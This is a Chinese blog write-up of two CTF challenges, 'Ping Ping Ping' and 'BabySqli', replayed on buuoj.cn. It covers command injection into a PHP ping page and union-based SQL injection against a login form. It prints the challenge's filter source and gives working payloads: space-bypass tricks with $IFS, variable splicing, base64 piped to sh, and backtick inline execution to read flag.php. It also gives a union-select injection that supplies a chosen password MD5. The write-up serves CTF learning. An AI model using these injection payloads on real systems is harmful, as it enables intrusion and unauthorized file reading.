美文网首页
GXYCTF--PingPingPing&BabySqli

GXYCTF--PingPingPing&BabySqli

作者: byc_404 | 来源:发表于2020-01-13 17:31 被阅读0次

    说来惭愧,之前12月份初报了GWYCTF,结果到了比赛的时候又因为复习忙的焦头烂额,所以一道题目都没看。刚好因为题目难度是针对校内招新的,我就现在复现下吧:
    题目复现地址:https://buuoj.cn/
    大佬们在各种比赛群里应该已经知道了这个平台的存在了,有一说一那位师傅是真的富......
    还是要感谢buuoj.cn提供了一个复现这些年大赛题目的机会。

    Ping Ping Ping

    开始进入提示传参ip,原题应该是直接给了一个输入框,输入后发现有执行ping命令的效果
    那么看来是命令执行的题目了,命令执行的方法大抵是加上管道符或者分号,那么试试管道符


    ls

    尝试读flag发现果然被ban了,那么试试index.php发现提示空格被ban了。
    绕过空格的方法大概有以下几种:

    $IFS
    ${IFS}
    $IFS$1 //$1改成$加其他数字貌似都行
    < 
    <> 
    {cat,flag.php}  //用逗号实现了空格功能
    %20 
    %09 
    

    不妨就用 $IFS试试,无果,用${IFS}发现{}被ban。再试$IFS$1成功。
    源码如下:

    /?ip=
    |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
        echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
        die("fxck your symbol!");
      } else if(preg_match("/ /", $ip)){
        die("fxck your space!");
      } else if(preg_match("/bash/", $ip)){
        die("fxck your bash!");
      } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
        die("fxck your flag!");
      }
      $a = shell_exec("ping -c 4 ".$ip);
      echo "
    ";
      print_r($a);
    }
    
    ?>
    

    过滤了许多标点,空格,bash,包括flag的贪婪匹配。那么自己印象中几种做法:
    1.cat fl* 利用*匹配任意 不行
    2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行
    3.ca\t fl\ag.php 不行
    4.cat fl''ag.php 不行

    那么如何解决呢?其实还有一种比较常见的做法没有提及,那就是变量拼接:


    变量拼接

    之前自己特别喜欢用的一句话木马拆开用也是这个道理。

    正好,我们看到源码中有一个$a变量可以覆盖,那么payload就出来了:

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
    

    然后有官方与其他大佬的高端解法:
    官方:

    echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
    

    过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

    dalao
    内联执行的做法,只能说V&N的师傅们太强了。

    http://530bbcaf-9d64-494e-8993-bb3727c31a5a.node3.buuoj.cn/?ip=127.0.0.1;cat$IFS$9`ls`
    

    内联,就是将反引号内命令的输出作为输入执行。
    秒题大概就是这种做法吧......

    BabySqli

    进去后一个账号,密码输入框。先随便输下,提示wrong pass。但是看源码有意外收获 FUZZ

    从形式上看数字成分都没有超过6,可能是base32,解码后得到一个base64编码,解码后得到以下:

    select * from user where username = '$name'
    

    那么就可以在username这个注入点下手处理了。这道题目只过滤了基本的and与等号还是很能操作的。不过后来看别人说这题考点在MD5查询绕过。这么说的原因是,就算成功注入把admin密码的MD5拿到,因为解不了的缘故等于没用。基于题目提示的wrong pass,那么大概率是直接拿输入密码的MD5数值跟数据库里已知值比较。

    稍微FUZZ一下admin' union select 1,2,3可以确认有三个字段
    后面确认大概是id,admin,passwd三个字段。这里为了绕过,需要保证我们的查询结构一致,就可直接select 想要的返回值。
    那么构造一个为假的查询-1,后面接上联合查询:

    -1' union select 1,'admin','7363a0d0604902af7b70b271a0b96480'#
    

    密码输123即可

    相关文章

      网友评论

          本文标题:GXYCTF--PingPingPing&BabySqli

          本文链接:https://www.haomeiwen.com/subject/apsgactx.html